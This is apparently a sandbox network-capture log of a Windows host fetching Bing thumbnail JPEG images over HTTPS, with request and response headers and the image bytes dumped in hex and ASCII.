2024-11-23 20:59:20 UTC	16384	IN	Data Raw: ba 95 f2 f6 b4 92 7f 9e 94 e8 64 5f 93 77 fb b4 f6 d4 9b f4 45 8b 73 be 4f 97 ef 7f b7 53 6f db f7 7e 55 54 aa d0 c9 fd d9 3f e0 74 f8 df 63 ee 5f ee 6e df 54 9d 8c e4 58 6f e3 65 f9 9b fb e9 4b 0e d6 f9 63 f9 bf bf fe f5 46 ce bb f6 fe f1 9b fb 94 fc e3 e6 fe 1a bb dc 86 49 24 7f bb fe ee ed b4 c6 3b b7 ab 49 f3 6f ff 00 81 25 0a ea b0 7f ab f9 7e ed 33 7b 7d df e1 ff 00 ae 7f 35 5a 95 c9 77 b8 ac 55 61 f3 3c ba 63 3a b7 cb fc 5b 3e 7a 74 de 52 ec 65 fe 2f b9 fd ea 32 be 67 cd f7 a9 c5 b7 1d 05 d4 89 86 cf f9 e6 cc db 56 9f f3 f9 7f eb 3e 5f e3 4f e5 49 21 56 ff 00 57 f7 bf 8f fb c8 bf 4a 21 2d fc 3f 75 7f b9 f7 bf 2a 70 96 81 24 ef b6 a2 b6 ef 33 77 dd ff 00 72 91 8f f7 63 8f fb bf ec d3 d6 4f e2 f3 3e 66 dc bf 27 f9 e9 55 f2 bb 15 57 ef 6c fb 8f fc 15 Data Ascii: d_wEsOSo~UT?tc_nTXoeKcFI$;Io%~3{}5ZwUa<c:[>ztRe/2gV>_OI!VWJ!-?u*p$3wrcO>f'UWl
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: bf bc db bf 76 ca 7c 61 be 6d d2 47 e5 ad 0f a1 3b 22 d4 2e ad f3 2f dd 5a 76 ff 00 fe 2a ab b3 ee 8f e6 ff 00 67 fd a6 7a 96 33 9d ed fb cd bf ed ff 00 76 95 af a9 12 ec 3d 42 fd ef ba ab f7 3e 7f 5a 7a ba b7 ca df 33 35 44 cc cd ff 00 2c e3 f9 3f 8e a5 57 5f 2f 75 09 11 cd d0 55 ff 00 56 9f bb a9 14 ee f9 be ea fc df f2 d2 a3 8f fd 99 3e f7 f7 e8 53 b7 66 df f8 1d 0e 2e c4 df ee 3d 5f f6 5a b6 f3 3c 69 75 37 f7 6d 3f de fe 2e f5 ef fa a4 8d 17 95 6f 1a 27 97 b7 ff 00 1d 35 e2 7f b2 1d 83 be a3 ab 5f 6f da be 52 c4 9f 27 df ef 5e b5 a9 5c c8 fa c2 db fd d6 58 be 6f e9 5e 0e 2e 5f bc 95 bb a5 f9 1d 6a 0e 53 8a ec ae 5c fb 1f ee 55 55 1d 63 fb cb f3 fc df fe aa d6 82 ea df 4c d1 e4 be b9 74 8a 18 d7 74 ac df dd 15 42 cf cb 8b 74 2d 72 9e 66 df 97 73 ff 00 Data Ascii: v\|amG;"./Zv*gz3v=B>Zz35D,?W_/uUV>Sf.=_Z<iu7m?.o'5_oR'^\Xo^._jS\UUcLttBt-rfs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49731	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:19 UTC	346	OUT	GET /th?id=OADD2.10239379451727_17498QGLTWDI94GLW&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:19 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 334962 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 72BFC481E44148B498AFA0FA63F76F34 Ref B: EWR311000107033 Ref C: 2024-11-23T20:59:19Z Date: Sat, 23 Nov 2024 20:59:18 GMT Connection: close
2024-11-23 20:59:19 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 35 3a 33 35 3a 33 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 15:35:308C
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 44 fd cd 50 0f 8e 9f 1f 99 4c db ff 00 2d 29 fb 2b 43 30 8d 3f 73 fb ca 9a 35 df fb c8 e9 91 d3 e3 4f f9 67 40 0f 8e 9f ff 00 4d 29 91 f9 94 f8 df 7d 68 03 23 49 2a cf dc a6 47 4e a0 05 ff 00 ae 94 fd 94 c8 ff 00 f2 1d 4f f7 3f d6 50 49 1d 3e 2a 22 a2 5a 00 5a 76 ff 00 f9 e7 47 dc a2 3f 92 80 0d ff 00 f7 ee 9f ff 00 2c 29 91 be ca 36 d5 00 fd 9b 3f d5 d1 b2 4a 4a 6e da 00 7e fa 37 d1 1f fa 9a 23 4d f4 00 7d f9 a9 29 7f f4 5d 3e 80 23 a9 3e fd 33 7d 3f 7e ca 00 24 a6 c8 9b ff 00 d6 51 fb cf f5 94 ed 9b ea 40 67 df a7 d4 75 25 50 07 fd 33 a6 47 4f 8e 8d d4 00 54 75 27 fd 33 a2 4f 9e 6a 00 8e 96 34 a4 a5 8e 80 0d 94 94 b1 ff 00 d3 4a 24 f9 e8 00 fb ff 00 f5 ce 8f fa 67 25 1f f4 ce 92 80 16 3a 4a 5f b9 fe b2 99 27 96 f4 00 46 9f f3 d2 9f f7 e9 9f f5 ce 9f b2 Data Ascii: DPL-)+C0?s5Og@M)}h#IGNO?PI>"ZZvG?,)6?JJn~7#M})]>#>3}?~$Q@gu%P3GOTu'3Oj4J$g%:J_'F
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: fa 67 45 62 68 6a c6 f4 f9 3e 4f fb 65 ff 00 2c aa 1f fc 8b 44 9f 3f ef 2b de 3c 91 f1 be ff 00 fb 65 4c 93 e4 a2 37 a6 48 f4 00 fd ff 00 f2 cf fe da 53 ff 00 76 ff 00 f5 d2 99 27 cf 4c df fb 9a 0a 1f bf fe b8 7f d7 5a 64 9e 5f 93 e5 c7 3c 34 48 f1 ff 00 ac f2 28 8f cc ff 00 57 27 fa ca 8a 80 43 23 ff 00 cb 3a 64 6f fe b7 f7 fe 6f fd 35 a7 c9 f3 ff 00 ab 83 f7 95 0c 89 27 fa ca 40 1b a3 4f dd d3 3f e5 bf da 3f e5 a5 3e 49 7f e5 a7 fa d8 e8 d9 fe aa 80 19 b3 67 fa bf fc 8b f7 28 d9 fb 9f f9 63 2d 32 3f f5 3e 5c 74 47 f2 43 41 a0 6c fd cd 43 bf 67 fa ba 7c 6f 27 fa ba 24 b7 d9 fb c9 20 f3 6b 12 88 6e 13 fe fd d1 be 3f 27 cc a7 c9 e6 ff 00 ac a4 d9 23 ff 00 ac 82 80 22 d9 be 6a 66 df f9 69 4f 91 3f 7d ff 00 4d 28 db ff 00 6c a8 80 07 fd 33 8e 88 d6 44 ff 00 Data Ascii: gEbhj>Oe,D?+<eL7HSv'LZd_<4H(W'C#:doo5'@O??>Ig(c-2?>\tGCAlCg\|o'$ kn?'#"jfiO?}M(l3D
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: fd 89 0c 51 c9 07 fa 3f 9b fe b7 fd ba f3 1f 14 78 83 ce 9e 5b 8b 79 fe d5 27 fc f5 fe 08 ff 00 bf 5a 5f b4 e6 a7 ff 00 13 3f 33 4f f2 65 b7 b5 ff 00 96 bf ec 57 95 d9 ea 12 5e 59 45 67 1f ef 7e d5 fb d9 6b d3 a3 47 9a 1c e7 9f 5a b7 2c f9 20 76 de 0b b8 93 fe 12 79 7c b8 3f d1 ed 62 fd d7 fc 0f ee d7 ae c9 a5 7f c5 2f 2e a9 aa 79 d1 5b da c5 27 ef 6b 9e f0 1e 89 a7 69 5e 11 8a f3 f7 32 c9 fb b9 2b d2 34 38 a4 d7 bc 25 2c 7e 44 d1 47 2f 99 e6 ff 00 d3 3a e0 c6 56 e6 7e ef 43 b6 8d 1e 58 7b e7 07 f0 5f c3 96 da 96 b5 f6 cb 3f 3b ec ff 00 f3 d6 5f bf b2 bd 53 54 b5 8f c9 95 e4 9f fe 3e bf 77 6b 17 dc fb b5 c7 f8 5e ee 3b 0b 1b a9 35 4b ef b2 db e8 d1 7e f7 fe 9a 3f f7 6b 9b d7 3c 6b 6f ad de c5 1d bf fc 7b cb 17 f9 5a ce 50 9d 59 97 0e 4a 43 bc 3b f0 fa cf Data Ascii: Q?x[y'Z_?3OeW^YEg~kGZ, vy\|?b/.y['ki^2+48%,~DG/:V~CX{_?;_ST>wk^;5K~?k<ko{ZPYJC;
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 00 51 41 a0 fd ff 00 be 97 cc ff 00 59 ff 00 2c a9 f2 7c ff 00 bb 8e 99 1f fa ef 2f fe 59 d1 f7 e1 f2 e8 01 f1 d3 e3 f3 3c 9f fb 65 50 ff 00 cf 19 3f e5 9d 3f 77 93 fb cf fb 69 5a 19 97 2c e2 91 e1 ff 00 9e 5f f5 d6 bb 0f 09 e8 f6 c9 7b 0d c7 f6 af d9 63 ff 00 a6 3f 73 fe 06 d5 c9 69 69 f6 cb d8 bf 7f e5 79 bf f2 d6 5f f9 67 5e 85 e1 3f 2e da 1f b3 c7 04 37 fa 5f fe 8c 6f f9 e9 27 fb 55 9c e6 5d 38 1e 91 a2 45 e1 4b 38 2d 63 8f c9 fb 67 fe cb 5d 7c 77 91 79 39 8f c9 92 38 ff 00 e7 97 f0 57 99 68 3a 25 b5 80 97 58 b7 ff 00 4a b8 fd e7 d9 7c da b3 e1 fb dd 6a db ce 93 fd 54 7e 6d 79 93 3b 22 ae 7a 75 c8 f3 2d f7 d7 85 fe d6 1e 1b bc bf f0 5c d7 31 03 73 22 ff 00 aa f2 bf 82 bd 87 c3 ba 94 af 07 fa 5f ef 13 d6 ab f8 a6 c6 79 ed 24 48 7f 79 0c bb eb ca ab fb Data Ascii: QAY,\|/Y<eP??wiZ,_{c?siiy_g^?.7_o'U]8EK8-cg]\|wy98Wh:%XJ\|jT~my;"zu-\1s"_y$Hy
2024-11-23 20:59:19 UTC	16384	IN	Data Raw: 26 86 28 ff 00 cc 75 4a de de ca e7 fd 22 ce fb f7 91 7f cb 29 7f b9 55 f5 c7 92 db fd 22 e3 fd 5f fa b9 7c aa 89 9b 40 d5 f0 fd ac 7e 4f ee e7 ff 00 5b fe 7e 6a e9 e4 d3 ff 00 73 14 9f b9 ff 00 a6 b5 e7 ba 3d ed 94 37 be 65 bf 9d 17 fd 75 ae f3 c3 7a ad b3 f9 51 dc 4f fb bf fb ee 89 81 d2 5e 69 f6 d7 3e 11 ff 00 48 82 1f 2e d7 ff 00 22 57 8c f8 e2 29 2e 7c ab 88 ff 00 d5 cb fe ab ca fb 9b 3f d9 af 63 b8 b8 b6 7b 29 6c ed e0 9b fd 2a b9 bf 10 68 f6 50 f9 51 c7 07 9b e5 57 2f b3 e5 99 b7 3f 39 c3 68 72 c7 67 65 fb cf de c9 17 fa d8 bf 82 bb 0d 3e ee 3b cb 2f b6 79 ff 00 65 8e 28 bf 7b e6 d3 35 1d 1e 38 74 bf f4 7b 1f dd cb fe b6 b2 a3 86 4b 99 a2 8e e3 fd 5f 95 ff 00 3c 2a 27 ef 9b d3 9f 29 de 78 4f c5 b6 49 37 99 24 ff 00 ea ab b6 ff 00 84 c3 45 bf d2 fe Data Ascii: &(uJ")U"_\|@~O[~js=7euzQO^i>H."W).\|?c{)lhPQW/?9hrge>;/ye({58t{K_<')xOI7$E
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: 9d 21 4f 0d 46 5f 11 e6 9e 07 f0 26 b5 a3 c3 14 77 9e 75 d4 71 7f d3 1d e9 1d 7a 86 9d a0 da eb d6 3f 65 86 ca 01 77 17 fa a9 8c 3f ea eb 6b c5 d2 c7 67 a2 cb 3d 87 d8 ed a0 1f eb 49 fe ef fb b5 f3 5f c4 4f 8b 1e 23 d1 fc 43 2c 9f 6e 87 ed 1f f2 e9 e5 7f 72 b1 87 b7 c4 4c 3d c8 d3 d3 43 e8 1f 0f fc 3b b5 d2 e2 96 7d 5b c9 9a e2 4f f5 72 fd dc 57 a0 78 3f 48 d3 ed 21 f3 2d ed c6 ff 00 fa 67 5f 33 f8 37 e3 96 b3 ae de da fd ae df cc 93 fd 5f f7 13 fe f9 af a0 3c 07 e3 4b 69 a0 f2 ee 27 86 39 3f eb 97 c9 47 2c a9 4f de 39 f1 5e d6 54 3d dd 7d 0d 2f 19 68 97 12 7f a5 e9 bf ba 9f fe 5a 47 fd fa c9 d4 8d bd 9e 93 be fa 6f 9a 3e f2 cb bb ff 00 42 ae 9e f7 5e 8e e6 1d 90 f9 bf f4 ce bc 93 e2 1e 8b 71 aa cd 2c 73 df 79 5f 7e 48 bc d9 f6 54 d6 e4 9c fd d9 13 81 55 Data Ascii: !OF_&wuqz?ew?kg=I_O#C,nrL=C;}[OrWx?H!-g_37_<Ki'9?G,O9^T=}/hZGo>B^q,sy_~HTU
2024-11-23 20:59:20 UTC	16069	IN	Data Raw: 00 0c 4f 35 e5 9c f3 5f c7 ff 00 2e b2 cb 5e 91 af 78 43 c0 d7 77 52 5b ce b6 f6 f7 df eb 23 f5 ad bf 0e de 69 ff 00 65 fe c9 9e 2f 32 78 bf 76 44 bd e9 73 fb fc c7 a5 78 72 6d 73 e3 0d 53 c6 ba d5 b7 9d 25 c7 9d 15 e7 9b e6 4b 5d 07 c3 df 8f 97 9e 1f d4 a2 79 47 ee bc de 61 af 66 f8 c5 e0 5d 2a 79 05 e1 b1 b2 f2 22 eb fd fa e3 6e 3e 03 f8 76 ff 00 ca b8 b3 f3 fe cf 2f fe 85 5e 9c 31 94 39 3d f8 9c f3 c3 4d cb dd 91 e9 1e 03 f8 a1 a0 f8 86 09 6f 2d e7 f2 af 2b aa 92 ee c9 20 8b 5c b7 fd ef 9b 2f ef 62 af 22 d3 fe 13 db 78 4a 68 ae 34 7b e9 fc c8 ab bf b7 b7 91 34 5f 33 c8 9a d6 4f f9 6b 14 b5 1e d2 8c fe 02 27 46 70 f7 a4 3f 58 d4 34 9b fb 2d 42 49 3c 9f dd 45 5e 33 1d c7 db 35 af b3 e8 fa af fd 33 f2 bc ef 92 a1 f8 b1 a1 78 9e ce 09 6f 34 7b e9 a5 b7 ff Data Ascii: O5_.^xCwR[#ie/2xvDsxrmsS%K]yGaf]*y"n>v/^19=Mo-+ \/b"xJh4{4_3Ok'Fp?X4-BI<E^353xo4{
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: 2f 0b dd c9 0d ec 5f b8 fd e5 69 7c 44 bd b6 b9 d2 e5 f2 ff 00 75 f6 59 63 f2 a9 4c 0c 4f 0b dd ff 00 cf 4a ec f4 3d 57 fe 7d e7 9f fe d9 57 19 e1 b7 b6 fb 17 fd 34 96 ba 7d 2d 3f 7d 15 bd bf ee aa 0d e0 77 7a 7f 99 73 65 fb cf de fe ea 4a c1 b3 b8 8e 1f 37 ed 9f ea e5 ad ed 3f e4 f0 ff 00 d9 fc ff 00 37 ff 00 43 ff 00 80 d7 0d a8 4b b3 54 f3 2e 3f e5 95 02 22 f8 90 ff 00 d8 10 ff 00 c4 be fb fd 1f ca 4f 2a 1a c1 f0 bf 8a 2f 7c ef 32 e2 7f f5 b5 67 e2 a5 ed bc d0 da 7d 9f fd 65 70 d6 77 1e 4c df bb a0 99 cf 90 f6 0b 7d 7a 4f dd 49 1c ff 00 bb 8a b7 ac f5 88 fc ef b3 dc 4f fb c9 7f d6 d7 91 69 7a c4 9e 77 ee eb b0 d1 ee 24 4f 2a e2 4f f5 9f f3 ca b4 0e 73 63 c5 1a ec 70 de cb 25 c7 ee bc af f5 55 8f 1e ab 7b 79 0f ee ef bc af f9 e5 58 3e 30 d4 e4 bc 9b cb Data Ascii: /_i\|DuYcLOJ=W}W4}-?}wzseJ7?7CKT.?"O/\|2g}epwL}zOIOizw$OOscp%U{yX>0
2024-11-23 20:59:20 UTC	16384	IN	Data Raw: e5 79 9f f2 ca 5a e9 fe 24 58 c8 ff 00 f5 d2 2f f5 55 7f c2 fe 1c 92 e6 cb ed 91 c1 fb c9 62 f3 3f ef 9a ed e7 e4 81 e7 f2 73 cc f5 7f 84 7a 7c 90 d9 5a d7 a4 78 c2 d2 db fe 11 8f b3 c9 fe b2 5f f5 52 d7 3d f0 be de 3f 26 28 ee 20 ff 00 5b 15 6d f8 82 f7 7c df d9 ff 00 f3 cb fd 55 71 4e 67 6f 21 73 c2 76 91 cd 63 fb cf de ff 00 cf 2a e8 74 fb 5f b3 58 cd 6f e4 7e ee b1 fc 3f 2d b5 85 8f 99 27 ee bc af f5 55 67 c4 1a ac 76 d6 31 5c 49 3f 95 fb d8 ff 00 d5 54 40 b9 86 b1 a9 dc e8 9a 5f 99 6f fe b2 59 6a 1b 3f 37 c9 f3 3f d6 f9 bf bc fe fd 53 f8 91 77 1d e6 8b 2f d8 ff 00 e9 9f ef 68 f8 7f 7b fe 85 2d bc 93 fe ef ca a4 49 0f 89 2d 23 bc 87 cc 8f fd 64 b1 79 7e 6f fc f4 af 1c bc d3 2f 74 af 1a 5a c9 1c 1f f2 d6 bd a7 58 79 13 4b 96 3b 79 ff 00 d3 22 ff 00 be Data Ascii: yZ$X/Ub?sz\|Zx_R=?&( [m\|UqNgo!svc*t_Xo~?-'Ugv1\I?T@_oYj?7?Sw/h{-I-#dy~o/tZXyK;y"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49732	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:59:19 UTC	346	OUT	GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 20:59:19 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 770657 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8B9C213C86194948AD7AA677588C63A4 Ref B: EWR30EDGE0407 Ref C: 2024-11-23T20:59:19Z Date: Sat, 23 Nov 2024 20:59:19 GMT Connection: close
2024-11-23 20:59:19 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 32 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 34 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``2ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:24:228
2024-11-23 20:59:19 UTC	8192	IN	Data Raw: bb 8e 9d ba fa ec e8 79 70 dc 5c da dc ea 18 48 2e 05 a7 73 ac ad d4 3f 6b eb fd 26 fd e9 fc 31 91 10 95 d9 1e 89 78 f6 3f bc 88 c8 81 c4 36 bd 9c ac fc 9e 9e 3a 79 b5 ad dc 59 02 bc 9b 18 e6 fb be 9d ce ac 97 fe 8d ad ff 00 09 67 d3 b7 f4 9f b8 b9 2c af d9 97 58 5d a6 2d 8d 70 0d b6 b0 76 b9 81 ce 97 3d 83 fc 23 1d ee 73 d8 fd fb 3d 3b 3f 49 f4 17 61 57 45 cf e9 97 e6 db 7b 5b 9d 55 6e d8 d3 ea 06 d5 12 e6 d7 5d cc bb d5 65 4d 67 f2 d9 ff 00 1b ea 2a 6f fa b3 d3 f2 2a 37 5b 8e ca 72 37 06 fe 82 c7 12 d0 47 73 56 da 5f 67 f2 d9 be 9f f8 b4 c1 21 88 d4 b8 81 ee 3a fd 17 4a 26 7e a1 db 66 9f d5 6c 7b 58 db db eb b4 b4 dc 4c 40 76 f0 07 ef bb 6e df 6f f2 56 fb 9e e2 48 6b 5c 75 0c 32 01 d3 f3 bd 87 da e5 99 d0 b0 71 fd 3b 69 ae e2 d7 d5 61 0e ac 86 87 35 df Data Ascii: yp\H.s?k&1x?6:yYg,X]-pv=#s=;?IaWE{[Un]eMgo7[r7GsV_g!:J&~fl{XL@vnoVHk\u2q;ia5
2024-11-23 20:59:19 UTC	4144	IN	Data Raw: 55 4d 2b f5 39 31 78 85 4e c9 3d 59 c5 4f 68 e9 f7 aa 25 cc 46 a5 ba 95 ee a4 df 55 e4 6a d6 29 d8 e8 87 33 5e f1 d2 69 37 d6 56 5a 7c b7 57 36 9f 68 92 4d 9e 5f 99 5c fc cd e6 5d 3b e7 66 5f f2 a4 9a 67 7e 3f 86 99 1a ee a4 a2 93 6c 54 e9 f2 26 fb 9a 1a 95 e4 f7 b3 6f b9 3e 63 c7 54 23 0e cf b5 29 63 5f de 52 ab 18 9b e4 a7 1d 8a 8a 51 56 43 c4 5b 63 91 9a 9d 6b 2a 9e 0d 43 75 e6 29 c3 d4 7c d3 0e 5e 65 a9 3d c3 3f df ff 00 9e 95 02 7c d2 54 d1 c5 33 43 f2 e7 65 49 03 3c 5f 7e 2a 07 74 96 84 13 46 62 93 15 62 da c9 df e7 7f 91 3d 6a 39 23 dd 26 fc 7c 95 a1 70 d2 3d bf fb 11 a5 44 a4 d6 c6 73 a8 d2 49 32 b3 db 42 b5 4e 46 dd 4f f3 5f cb d9 51 73 56 91 70 8b 5b b0 dc 71 b6 a4 50 64 e2 a3 da 69 f0 b3 ab 7c b4 ec 5b 24 b7 81 df ee d3 64 50 b1 fc ff 00 7e ae Data Ascii: UM+91xN=YOh%FUj)3^i7VZ\|W6hM_\];f_g~?lT&o>cT#)c_RQVC[ckCu)\|^e=?\|T3CeI<_~tFbb=j9#&\|p=DsI2BNFO_QsVp[qPdi\|[$dP~
2024-11-23 20:59:19 UTC	8192	IN	Data Raw: 2f 92 b9 6d 56 76 9a e6 4f f9 e5 e6 56 af 9f 67 75 6b b3 fd 5b d5 9b 2f 0c bc 13 79 f7 92 79 96 51 c9 e5 ca 62 3f ec 56 3e ec 1e a3 a2 e9 d2 6e 53 d1 95 ef 8f fc 4b ed fe cd 2c bb 23 8d 3f 77 ff 00 a1 56 a7 80 fc 49 69 e1 dd 43 ed 37 56 71 5e 49 e5 ec b7 f3 7f e5 85 74 9e 00 83 c2 83 44 93 4b ba b3 9a e3 54 b8 de 91 c9 ff 00 3c ff 00 da ac 5d 73 c0 3f 67 f0 c7 f6 ec 3a bd ac 93 25 c3 c7 2d 94 67 e7 8e b1 95 68 4a 4d 1c ea bd 1a 8e 54 aa 5d 2f cc c0 be bc 4b b9 64 79 be fd 55 b5 57 b8 9a 38 6d 7e fd 40 f6 77 3f bc 4a 75 8b 7d 93 cc ff 00 9e d5 bd 92 d8 ed 54 e0 a3 68 32 b6 a9 6f 35 ad c7 92 fd 6a 5b 89 a6 16 d1 bf dc a9 36 de 5e 5e ef 96 8b a8 9d 64 d8 ff 00 72 9a 66 aa 6b 45 2d cc f4 8b fb f5 1b f5 ab fb 1d bf ed a5 53 11 93 26 d1 41 bc 67 70 f3 64 f2 3c Data Ascii: /mVvOVguk[/yyQb?V>nSK,#?wVIiC7Vq^ItDKT<]s?g:%-ghJMT]/KdyUW8m~@w?Ju}Th2o5j[6^^drfkE-S&Agpd<
2024-11-23 20:59:19 UTC	8192	IN	Data Raw: 4e 0e 3b 58 bf 71 3b cd 1c 7f dc a8 af 99 1b e4 4a 74 73 ee 8f c9 4a 81 0f 95 27 cf 4a 31 d4 50 56 e8 22 2f f7 ea 37 eb 57 2e 27 46 8f e4 aa 7c d5 9a c5 b6 b5 41 cd 1c d1 cd 39 22 2d 41 57 48 6f 35 7f 45 72 b7 71 c2 b2 f9 5e 63 ec 79 3d aa 93 2e 29 f6 7b 16 6d d2 8f 92 aa 2d a6 4c 92 94 5a 35 35 29 6d d6 6d 9f eb 3f 79 4c 92 29 1b e7 4f b9 1d 52 8d 7e d3 77 b5 3f e0 15 62 7b e9 12 5d 95 52 9b 68 e6 f6 6e 36 8c 59 15 e3 79 b1 ef a9 bc e8 a2 b5 8d 5a 52 71 ff 00 2c f1 50 ce cf 6f 36 fa 8e 6f 25 ad b7 7f cb 4a 98 b6 8d 23 15 24 bb 0c 61 bf cc 9b 1f 26 6a ce ad 75 0d c3 46 b6 b1 18 e2 8f a6 fa a6 d2 bb 47 b2 a5 b1 67 49 77 8a 69 f4 45 c9 7d a7 d0 89 b7 bd 35 95 97 ef 0a 96 56 a9 76 bd c7 c9 fc 11 d0 d5 95 c7 cd a5 ca a8 bb aa 5f 2c e7 39 f9 2a 5f 2b 6c 7b 13 Data Ascii: N;Xq;JtsJ'J1PV"/7W.'F\|A9"-AWHo5Erq^cy=.){m-LZ55)mm?yL)OR~w?b{]Rhn6YyZRq,Po6o%J#$a&juFGgIwiE}5Vv_,9*_+l{
2024-11-23 20:59:19 UTC	8192	IN	Data Raw: 11 fd a6 b5 af 0b ea fe 36 b6 d1 3c 10 b3 5b e8 3a 45 9a 41 14 72 f7 9f fe 5a bd 79 93 44 eb 2e c8 a9 f3 5c a8 92 4f dd 7c cf fa 52 58 c9 b2 4d f5 fa 1d 18 fb 3a 6a 2b 63 d0 a7 07 4e 0a 2b a0 db 88 a6 5f 2f 77 fc b4 a9 63 95 fc a9 11 3e e5 6f 78 66 da de e2 fe 37 bd 9b f7 72 7e ef cb 8f ef d2 78 ff 00 4c 8e da e6 de 7b 38 7c bb 3b 98 ff 00 d1 d3 cd f9 fe 5f 97 73 d2 f6 c9 cf 91 10 ab 29 49 45 99 37 10 6d 8f 7f 95 54 f5 44 91 65 de ff 00 c7 57 e6 9e e2 e3 cb 44 8a 9b fd 8d 79 3c b2 79 3f bc f2 c6 fa d1 49 af 88 74 e4 a0 d7 3b 46 42 75 ab ff 00 6c 83 ca ff 00 55 f3 d3 ee b4 89 2d ed 7e d1 24 b1 ed aa f2 08 5e 3f dc c4 7e 4e b5 69 a6 b4 36 e6 85 45 75 aa 23 9f 7b 49 fe af f0 a8 79 ab 5e 7a 34 7f 35 55 e6 99 70 bd b6 0e 68 e6 8e 68 e6 82 c3 9a 39 a7 6d 34 60 Data Ascii: 6<[:EArZyD.\O\|RXM:j+cN+_/wc>oxf7r~xL{8\|;_s)IE7mTDeWDy<y?It;FBulU-~$^?~Ni6Eu#{Iy^z45Uphh9m4`
